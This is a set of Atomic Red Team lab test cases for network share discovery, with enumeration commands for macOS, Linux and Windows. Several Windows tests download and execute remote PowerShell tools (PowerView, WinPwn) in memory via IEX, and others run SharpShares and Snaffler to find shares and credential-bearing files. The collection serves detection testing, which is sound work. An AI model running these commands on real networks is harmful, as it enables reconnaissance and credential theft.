Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
shmacosNetwork Share Discovery
Network Share Discovery
df -aH
smbutil view -g //#{computer_name}
showmount #{computer_name}
bashelevatedlinuxNetwork Share Discovery - linux
Network Share Discovery using smbstatus
smbstatus --shares
shelevatedlinuxNetwork Share Discovery - FreeBSD
Network Share Discovery using smbstatus
smbstatus --shares
command_promptwindowsNetwork Share Discovery command prompt
Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host
Upon execution available network shares will be displayed in the powershell session
net view \\#{computer_name}
powershellwindowsNetwork Share Discovery PowerShell
Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host
Upon execution, available network shares will be displayed in the powershell session
get-smbshare
command_promptwindowsView available share drives
View information about all of the resources that are shared on the local computer Upon execution, available share drives will be displayed in the powershell session
net share
powershellwindowsShare Discovery with PowerView
Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose
powershellwindowsPowerView ShareFinder
PowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain.
Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"
Invoke-ShareFinder #{parameters}
powershellwindowsWinPwn - shareenumeration
Network share enumeration using the shareenumeration function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
shareenumeration -noninteractive -consoleoutput
command_promptwindowsNetwork Share Discovery via dir command
Network Share Discovery utilizing the dir command prompt. The computer ip variable may need to be modified to point to a different host ip
Upon execution available network shares will be displayed in the commandline session
dir \\#{computer_ip}\c$
dir \\#{computer_ip}\admin$
dir \\#{computer_ip}\IPC$
powershellwindowsEnumerate All Network Shares with SharpShares
SharpShares is a command line tool that can be integrated with Cobalt Strike's execute-assembly module, allowing for the enumeration of network shares.
This technique has been utilized by various ransomware groups, including BianLian.
[Reference](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-136a)
cmd /c '#{sharp_path}' /ldap:all | out-file -filepath "#{output_path}"
powershellwindowsEnumerate All Network Shares with Snaffler
Snaffler is an open-source tool that has been used by various threat groups, including Scattered Spider/Muddled Libra, to enumerate accessible shares and credential-containing files within a domain.
[Reference](https://unit42.paloaltonetworks.com/muddled-libra/)
invoke-expression 'cmd /c start powershell -command { cmd /c "#{snaffler_path}" -a -o "#{output_path}" }; start-sleep 90; stop-process -name "snaffler"'